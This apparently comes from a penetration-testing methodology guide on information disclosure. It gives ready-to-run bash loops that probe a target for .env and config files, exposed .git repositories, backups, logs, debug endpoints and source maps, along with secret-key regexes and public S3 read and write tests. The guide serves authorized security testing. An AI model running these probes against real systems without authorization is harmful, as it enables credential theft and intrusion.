Skip to main content
CWECWE-200, CWE-538, CWE-215, CWE-548, CWE-532
WSTGWSTG-INFO-01, WSTG-INFO-02, WSTG-INFO-03, WSTG-INFO-04, WSTG-INFO-05, WSTG-CONF-04, WSTG-CONF-05, WSTG-ERRH-01
MITRE ATT&CKT1083, T1530, T1580
CVSS Range0.0-7.5
Toolsffuf, gobuster, nuclei, trufflehog, git-dumper
Difficultybasic

Information Disclosure

Test for unintentional exposure of sensitive data including configuration files, source code, internal infrastructure details, stack traces, debug endpoints, backup files, cloud storage misconfigurations, and API response data leakage. These findings often serve as stepping stones to higher-impact attacks by revealing credentials, internal paths, or architectural details.

Quick Reference

AspectDetails
Attack typePassive/active reconnaissance for exposed sensitive data
TargetConfiguration files, debug endpoints, backups, source code, API responses, cloud storage
TechniquePath brute-forcing, error triggering, response analysis, source map extraction
Key CWECWE-200 (Exposure of Sensitive Information), CWE-538 (Insertion of Sensitive Information into Externally-Accessible File or Directory)

Phase 1: Configuration File Discovery

Probe for common configuration files that leak credentials, database connection strings, API keys, and internal paths.

Environment Files

# .env files (highest priority — often contain credentials)
for path in /.env /.env.backup /.env.local /.env.production /.env.staging /.env.dev /.env.example /.env.old /.env.save /.env.bak /.env.orig; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" != "404" ] && [ "$code" != "403" ]; then
echo "[${code}] ${path}"
curl -s "https://TARGET${path}" | head -20
fi
done

Framework Configuration Files

# WordPress, PHP, Python, Ruby, Java, Node.js config files
CONFIG_PATHS=(
"/wp-config.php" "/wp-config.php.bak" "/wp-config.php.old" "/wp-config.php.save"
"/config.php" "/configuration.php" "/config.inc.php" "/db.php"
"/settings.py" "/local_settings.py"
"/application.yml" "/application.properties" "/application-prod.yml"
"/config/database.yml" "/config/secrets.yml"
"/appsettings.json" "/appsettings.Development.json"
"/web.config" "/.htaccess" "/nginx.conf"
"/Dockerfile" "/docker-compose.yml" "/docker-compose.override.yml"
"/Vagrantfile" "/Makefile"
"/composer.json" "/composer.lock"
"/package.json" "/package-lock.json" "/yarn.lock"
"/Gemfile" "/Gemfile.lock"
"/requirements.txt" "/Pipfile" "/Pipfile.lock"
"/pyproject.toml" "/poetry.lock"
"/crossdomain.xml" "/clientaccesspolicy.xml"
)
for path in "${CONFIG_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done

Version Control Exposure

# Git directory exposure
curl -s "https://TARGET/.git/HEAD"
curl -s "https://TARGET/.git/config"
curl -s "https://TARGET/.git/logs/HEAD"
curl -s "https://TARGET/.git/refs/heads/main"

# If .git is accessible, reconstruct the repository
git-dumper https://TARGET/.git/ ./dumped-repo

# Other VCS
curl -s "https://TARGET/.svn/entries"
curl -s "https://TARGET/.hg/store/data"
curl -s "https://TARGET/.bzr/README"

Phase 2: Backup and Temporary File Scanning

Use brute-force tools with dedicated wordlists to discover backup files, database dumps, and temporary files that often contain full source code or database contents.

Backup File Brute-Force with ffuf

# Generate backup-specific wordlist for discovered paths
# For each known path like /index.php, test backup variants
KNOWN_PATHS=("/index" "/admin" "/login" "/config" "/database" "/backup" "/dump" "/export" "/data")
EXTENSIONS=(".bak" ".old" ".orig" ".save" ".swp" ".tmp" "~" ".copy" ".backup" ".1" ".2" ".zip" ".tar.gz" ".gz" ".sql")

# Create a combined wordlist
for base in "${KNOWN_PATHS[@]}"; do
for ext in "${EXTENSIONS[@]}"; do
echo "${base}${ext}"
echo "${base}.php${ext}"
echo "${base}.html${ext}"
done
done > /tmp/backup-wordlist.txt

ffuf -u "https://TARGET/FUZZ" -w /tmp/backup-wordlist.txt -mc 200,301,302 -fs 0 -t 20

Comprehensive Backup Path Scanning with gobuster

# Use raft-large-files or similar comprehensive wordlist
gobuster dir -u "https://TARGET" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt \
-s 200,204,301,302 \
-b 404,403 \
-t 20

# Target specific backup extensions
gobuster dir -u "https://TARGET" \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt \
-x bak,old,orig,save,swp,tmp,zip,tar.gz,sql,gz,dump \
-s 200,204,301 \
-t 20

Database Dump Scanning

# Direct path probing for database dumps
DB_DUMP_PATHS=(
"/backup.sql" "/dump.sql" "/database.sql" "/db.sql" "/data.sql"
"/backup.sql.gz" "/dump.sql.gz" "/database.sql.gz" "/db.sql.gz"
"/backup.sql.bz2" "/dump.sql.bz2"
"/backup.zip" "/dump.zip" "/database.zip" "/db.zip"
"/backup.tar.gz" "/dump.tar.gz" "/database.tar.gz"
"/site.zip" "/www.zip" "/public.zip" "/html.zip"
"/export.sql" "/export.csv" "/export.json"
"/db-backup.sql" "/mysql-dump.sql" "/pg_dump.sql"
"/backup/latest.sql" "/backups/db.sql"
)
for path in "${DB_DUMP_PATHS[@]}"; do
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "https://TARGET${path}")
code=$(echo "$resp" | cut -d: -f1)
size=$(echo "$resp" | cut -d: -f2)
if [ "$code" = "200" ] && [ "$size" -gt 0 ]; then
echo "[200] ${path} (${size} bytes)"
fi
done

Phase 3: Log File Discovery

Log files frequently contain stack traces, internal paths, user data, session tokens, and database queries.

LOG_PATHS=(
"/logs/" "/log/" "/var/log/"
"/error.log" "/error_log" "/errors.log"
"/debug.log" "/debug_log"
"/access.log" "/access_log"
"/app.log" "/application.log"
"/server.log" "/web.log"
"/logs/error.log" "/logs/access.log" "/logs/debug.log" "/logs/app.log"
"/log/error.log" "/log/access.log" "/log/debug.log"
"/tmp/logs/" "/var/log/apache2/error.log" "/var/log/nginx/error.log"
"/storage/logs/laravel.log"
"/wp-content/debug.log"
"/rails/log/production.log"
)
for path in "${LOG_PATHS[@]}"; do
resp=$(curl -s -o /dev/null -w "%{http_code}:%{size_download}" "https://TARGET${path}")
code=$(echo "$resp" | cut -d: -f1)
size=$(echo "$resp" | cut -d: -f2)
if [ "$code" = "200" ] && [ "$size" -gt 100 ]; then
echo "[200] ${path} (${size} bytes)"
fi
done

What to look for in log files:

  • Stack traces with file paths and line numbers
  • Database connection strings or query logs
  • Session tokens or API keys in request logs
  • Internal IP addresses and hostnames
  • User PII (emails, passwords in error logs)

Phase 4: Editor Temp Files and Artifacts

Development artifacts accidentally deployed to production reveal directory structure, file contents, and IDE configurations.

ARTIFACT_PATHS=(
"/.DS_Store"
"/Thumbs.db"
"/.vscode/settings.json" "/.vscode/launch.json" "/.vscode/sftp.json"
"/.idea/workspace.xml" "/.idea/misc.xml" "/.idea/modules.xml"
"/.project" "/.classpath"
"/.editorconfig"
"/.sublime-project" "/.sublime-workspace"
)
for path in "${ARTIFACT_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done

# Parse .DS_Store files for directory contents
# .DS_Store files reveal filenames in the directory
curl -s "https://TARGET/.DS_Store" -o /tmp/dsstore
if [ -f /tmp/dsstore ] && [ -s /tmp/dsstore ]; then
# Use python-dsstore or strings to extract filenames
strings /tmp/dsstore | sort -u
fi

# Check for .swp files on known pages
# Vim swap files follow the pattern: .filename.swp
KNOWN_FILES=("index.php" "config.php" "login.php" "admin.php" "db.php" "settings.py" "app.py" "manage.py")
for file in "${KNOWN_FILES[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET/.${file}.swp")
if [ "$code" = "200" ]; then
echo "[200] /.${file}.swp"
fi
done

Phase 5: Error Messages and Stack Traces

Trigger application errors to reveal framework versions, internal paths, database schemas, and library versions.

Trigger Errors

# Malformed input to trigger verbose errors
curl -s "https://TARGET/api/user/9999999999999" | head -50
curl -s "https://TARGET/api/user/../../etc/passwd" | head -50
curl -s "https://TARGET/api/user/'\\''" | head -50
curl -s "https://TARGET/search?q=%00%ff%fe" | head -50
curl -s "https://TARGET/nonexistent-path-$(date +%s)" | head -50

# Check for debug mode
curl -s "https://TARGET/?debug=true" | head -50
curl -s "https://TARGET/?debug=1" | head -50
curl -s "https://TARGET/?XDEBUG_SESSION_START=1" | head -50

# Method not allowed errors (often verbose)
curl -s -X DELETE "https://TARGET/" | head -50
curl -s -X PATCH "https://TARGET/" | head -50

# Large payload to trigger size errors
python3 -c "print('A'*100000)" | curl -s -X POST -d @- "https://TARGET/api/data" | head -50

Check Response Headers for Version Leakage

curl -sI "https://TARGET/" | grep -iE "server:|x-powered-by:|x-aspnet-version:|x-aspnetmvc-version:|x-generator:|x-drupal|x-runtime|x-version"

Debug Endpoints

DEBUG_ENDPOINTS=(
"/phpinfo.php" "/info.php" "/php_info.php" "/test.php" "/pi.php"
"/actuator" "/actuator/env" "/actuator/health" "/actuator/heapdump"
"/actuator/configprops" "/actuator/beans" "/actuator/mappings" "/actuator/trace"
"/__debug__/" "/_debug/"
"/telescope"
"/_profiler/" "/_wdt/"
"/elmah.axd" "/trace.axd"
"/server-status" "/server-info"
"/status" "/health" "/healthcheck" "/healthz"
"/swagger-ui.html" "/swagger.json" "/swagger-ui/" "/swagger/"
"/api-docs" "/api-docs/" "/api/docs"
"/openapi.json" "/openapi.yaml" "/v2/api-docs" "/v3/api-docs"
"/graphql" "/graphiql" "/altair" "/playground"
"/admin/" "/admin/login" "/wp-admin/" "/wp-login.php"
"/.well-known/openid-configuration"
"/metrics" "/prometheus/metrics"
)
for path in "${DEBUG_ENDPOINTS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ] || [ "$code" = "301" ] || [ "$code" = "302" ]; then
echo "[${code}] ${path}"
fi
done

GraphQL Introspection

# Test if GraphQL introspection is enabled
curl -s -X POST "https://TARGET/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}' | head -100

Phase 6: Directory Listing

Check for directory listing enabled on common directories that may expose file structure and sensitive files.

DIRECTORIES=("/images/" "/uploads/" "/assets/" "/backup/" "/backups/" "/tmp/" "/temp/"
"/files/" "/media/" "/static/" "/public/" "/data/" "/documents/" "/docs/"
"/includes/" "/inc/" "/lib/" "/src/" "/admin/" "/test/" "/tests/"
"/cgi-bin/" "/scripts/" "/old/" "/new/" "/archive/" "/archived/")
for dir in "${DIRECTORIES[@]}"; do
resp=$(curl -s "https://TARGET${dir}" | head -5)
if echo "$resp" | grep -qi "index of\|directory listing\|parent directory"; then
echo "[LISTING] ${dir}"
fi
done

Phase 7: API Response Data Leakage

Check if API responses return more data than the UI displays, including internal IDs, PII, or admin-only fields.

# Compare authenticated vs unauthenticated responses
curl -s "https://TARGET/api/users" | python3 -m json.tool | head -30
curl -s "https://TARGET/api/users" -H "Authorization: Bearer TOKEN" | python3 -m json.tool | head -30

# Check for excess fields in user profiles
curl -s "https://TARGET/api/users/me" -H "Authorization: Bearer TOKEN" | python3 -m json.tool

# Check pagination metadata (total counts, etc.)
curl -s "https://TARGET/api/users?page=1&per_page=1" -H "Authorization: Bearer TOKEN" | python3 -m json.tool

Search and Autocomplete Data Leakage

Search suggestion and autocomplete endpoints often return data without proper access controls, leaking usernames, email addresses, internal identifiers, and other PII.

# Test autocomplete endpoints with partial queries
AUTOCOMPLETE_PATHS=(
"/api/search" "/api/autocomplete" "/api/suggest"
"/api/users/search" "/api/users/autocomplete"
"/search/suggest" "/typeahead"
)
PARTIAL_QUERIES=("a" "admin" "test" "@" "user" "root")

for endpoint in "${AUTOCOMPLETE_PATHS[@]}"; do
for query in "${PARTIAL_QUERIES[@]}"; do
resp=$(curl -s "https://TARGET${endpoint}?q=${query}" 2>/dev/null)
if [ -n "$resp" ] && [ "$resp" != "null" ] && [ "$resp" != "[]" ] && [ "$resp" != "{}" ]; then
echo "[DATA] ${endpoint}?q=${query}"
echo "$resp" | head -5
fi
done
done

# Check if search results expose fields not shown in UI
curl -s "https://TARGET/api/search?q=test" -H "Authorization: Bearer TOKEN" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
if isinstance(data, list):
for item in data[:3]:
print(json.dumps(item, indent=2))
elif isinstance(data, dict):
print(json.dumps(data, indent=2))
except: pass
"

What to look for:

  • Email addresses, phone numbers, or real names in search results
  • Internal user IDs or database primary keys
  • Password hashes or reset tokens
  • Admin/role flags visible to regular users
  • Full user objects when only names were expected

Phase 8: Source Code Exposure

JavaScript Source Maps

Source maps expose the original, unminified source code including comments, variable names, and internal logic.

# Find source map references in JavaScript files
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//' | while read js; do
# Check for sourceMappingURL comment
curl -s "https://TARGET${js}" | tail -5 | grep -i "sourceMappingURL"
# Try appending .map
map_url="${js}.map"
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${map_url}")
if [ "$code" = "200" ]; then
echo "[SOURCE MAP] ${map_url}"
fi
done

Secret Scanning on Exposed Code

When source code, source maps, or JavaScript bundles are accessible, scan them for hardcoded secrets.

# Download all JS files for analysis
mkdir -p /tmp/js-analysis
curl -s "https://TARGET/" | grep -oP 'src="[^"]*\.js"' | sed 's/src="//;s/"//' | while read js; do
curl -s "https://TARGET${js}" -o "/tmp/js-analysis/$(basename ${js})"
done

# Scan with truffleHog
trufflehog filesystem /tmp/js-analysis/ --no-update

# Manual regex scan for common secret patterns
grep -rEn "(api[_-]?key|api[_-]?secret|access[_-]?token|auth[_-]?token|password|passwd|secret|private[_-]?key|client[_-]?secret)\s*[:=]\s*['\"][^'\"]{8,}['\"]" /tmp/js-analysis/
grep -rEn "AIza[0-9A-Za-z\-_]{35}" /tmp/js-analysis/ # Google API key
grep -rEn "AKIA[0-9A-Z]{16}" /tmp/js-analysis/ # AWS Access Key
grep -rEn "sk-[a-zA-Z0-9]{48}" /tmp/js-analysis/ # OpenAI API key
grep -rEn "ghp_[a-zA-Z0-9]{36}" /tmp/js-analysis/ # GitHub token
grep -rEn "eyJ[a-zA-Z0-9_-]*\.eyJ[a-zA-Z0-9_-]*\." /tmp/js-analysis/ # JWT tokens

Other Source Code Exposure Vectors

# Misconfigured servers serving raw source
SOURCE_PATHS=(
"/index.php~" "/index.php.bak" "/index.phps"
"/WEB-INF/web.xml" "/WEB-INF/classes/"
"/META-INF/MANIFEST.MF"
"/.gitignore" "/.dockerignore"
"/.npmrc" "/.yarnrc"
)
for path in "${SOURCE_PATHS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://TARGET${path}")
if [ "$code" = "200" ]; then
echo "[200] ${path}"
fi
done

Phase 9: Cloud Storage Misconfigurations

S3 Bucket Discovery and Testing

# Identify S3 bucket names from page source and JavaScript
curl -s "https://TARGET/" | grep -oP 'https?://[a-zA-Z0-9.-]+\.s3[a-zA-Z0-9.-]*\.amazonaws\.com[^"'\'' ]*'
curl -s "https://TARGET/" | grep -oP 's3://[a-zA-Z0-9.-]+[^"'\'' ]*'

# Test for public listing
for bucket in $DISCOVERED_BUCKETS; do
echo "--- Testing: ${bucket} ---"
# List bucket contents (no auth)
aws s3 ls "s3://${bucket}" --no-sign-request 2>&1 | head -20
# Or via HTTP
curl -s "https://${bucket}.s3.amazonaws.com/" | head -50
done

S3 Write Access Testing

When buckets are discovered, test for write access which indicates a serious misconfiguration.

# Attempt to upload a harmless test file to verify write permissions
# Use a clearly identifiable test filename that won't interfere with operations
echo "security-test-$(date +%s)" > /tmp/write-test.txt

for bucket in $DISCOVERED_BUCKETS; do
# Test PUT access
aws s3 cp /tmp/write-test.txt "s3://${bucket}/security-write-test-deleteme.txt" --no-sign-request 2>&1
if [ $? -eq 0 ]; then
echo "[WRITE ACCESS] ${bucket} — public write confirmed!"
# Clean up test file
aws s3 rm "s3://${bucket}/security-write-test-deleteme.txt" --no-sign-request 2>&1
fi

# Test via HTTP PUT
curl -s -o /dev/null -w "%{http_code}" -X PUT \
"https://${bucket}.s3.amazonaws.com/security-write-test-deleteme.txt" \
-d "security-test"
done

rm -f /tmp/write-test.txt

GCP and Azure Storage

# GCP Storage buckets
curl -s "https://TARGET/" | grep -oP 'https?://storage\.googleapis\.com/[a-zA-Z0-9._-]+'
# Test public access
curl -s "https://storage.googleapis.com/BUCKET_NAME/" | head -20

# Azure Blob Storage
curl -s "https://TARGET/" | grep -oP 'https?://[a-zA-Z0-9]+\.blob\.core\.windows\.net/[a-zA-Z0-9._-]+'
# Test public access
curl -s "https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list" | head -20

Phase 10: Nuclei Scan

Run Nuclei templates targeting known information disclosure patterns for comprehensive coverage.

# Information disclosure templates
nuclei -u "https://TARGET" -t exposures/ -t misconfiguration/ -severity info,low,medium -o nuclei-info-disclosure.txt

# Specific template categories
nuclei -u "https://TARGET" -t exposures/configs/
nuclei -u "https://TARGET" -t exposures/backups/
nuclei -u "https://TARGET" -t exposures/logs/
nuclei -u "https://TARGET" -t misconfiguration/
nuclei -u "https://TARGET" -tags exposure,config,backup,debug

Impact Assessment

Level 1: Low-Value Disclosure (Informational)

Server version in headers, generic error messages, directory structure hints. Useful for reconnaissance but no direct exploitability.

Evidence: HTTP response headers or error page showing version information.

Level 2: Moderate Disclosure (Low-Medium Severity)

Internal paths, stack traces, debug output, directory listings with non-sensitive files, verbose API error messages revealing schema details.

Evidence: Error response with file paths, stack trace, or database schema information.

Level 3: Sensitive Data Exposure (Medium-High Severity)

Configuration files with credentials, database dumps, source code exposure, PII in API responses, accessible source maps revealing internal logic, exposed debug endpoints (actuator, phpinfo).

Evidence: File contents showing credentials, API keys, or PII. Demonstrate the credentials are valid without causing damage.

Level 4: Critical Exposure (High-Critical Severity)

Valid credentials leading to unauthorized access, writable S3 buckets, exposed admin interfaces, full source code reconstruction via .git, database dumps with user credentials.

Evidence: Full attack chain — discovered credential → validated access → demonstrated impact. For S3: write access confirmed with test upload (cleaned up).

Documentation Template

## Information Disclosure — [Type: Config Leak / Source Code / Debug Endpoint / etc.]

**URL:** [vulnerable path]
**Type:** [Configuration file / Stack trace / Directory listing / Source code / Cloud storage / API data leak]
**Sensitive data exposed:** [credentials / PII / internal paths / source code]

### Discovery

[How the disclosure was found — tool output, request/response]

### Request/Response

[curl command and response showing the disclosed information]

### Impact

[What an attacker could do with this information — credential reuse, further enumeration, privilege escalation]

### Chaining Potential

[How this finding enables other attacks — e.g., exposed .env with DB creds → direct database access]

Tools

ToolPurposeWhen to use
ffufPath brute-forcing with wordlistsBackup files, hidden paths, file extensions
gobusterDirectory and file brute-forcingComprehensive directory scanning with extension testing
nucleiTemplate-based scanning for known disclosure patternsFirst-pass automated scan across all disclosure categories
truffleHogSecret scanning in source code and filesWhen JS files, source maps, or source code are accessible
git-dumperReconstruct Git repos from exposed .gitWhen /.git/HEAD returns 200
curlManual probing of specific pathsTargeted testing of known sensitive paths
gau / waybackurlsHistorical URL discoveryFind paths that existed in the past and may still be accessible

Prioritization

Test these first (highest real-world exploitability)

  1. Exposed environment files and configuration -- .env, config.php, application.yml, and similar files frequently contain database credentials, API keys, and secrets. Check /.env, /.git/config, and framework-specific paths first.
  2. Verbose error messages and stack traces -- Trigger errors with malformed input to extract internal paths, database schemas, library versions, and sometimes credentials. Common in development/staging configurations left in production.
  3. Exposed debug endpoints -- /debug, /actuator, /elmah, /_profiler, /phpinfo.php, and similar endpoints expose system internals. These are high-value because they often reveal credentials and internal architecture.

Test these if time permits (lower exploitability)

  1. Directory listing and backup files -- Check for directory indexes and common backup extensions (.bak, .old, .swp, .DS_Store). Lower probability on modern deployments but still found on legacy systems.
  2. Git repository exposure -- If /.git/HEAD returns 200, the full source code and commit history (including secrets in past commits) may be reconstructable with git-dumper.
  3. Cloud storage misconfiguration -- Public S3 buckets, Azure Blob containers, and GCS buckets. Use discovered bucket names from HTML source, JavaScript, or API responses.

Skip if

  • Application returns generic error pages for all error conditions (no stack traces, no debug info)
  • No file-serving functionality exists (pure API with no static file serving)

Note: WAFs and CDNs do not eliminate information disclosure risk. Path-based WAF rules are frequently bypassable via encoding tricks, path normalization differences, and HTTP method variations. Reduce priority but still test when a WAF is detected.

Asset criticality

Prioritize by secret exposure: credentials/API keys in config files (Critical) > source code exposure (High) > internal architecture details (Medium) > version information (Low). Information disclosure is often a stepping stone -- assess what further attacks it enables rather than rating it in isolation.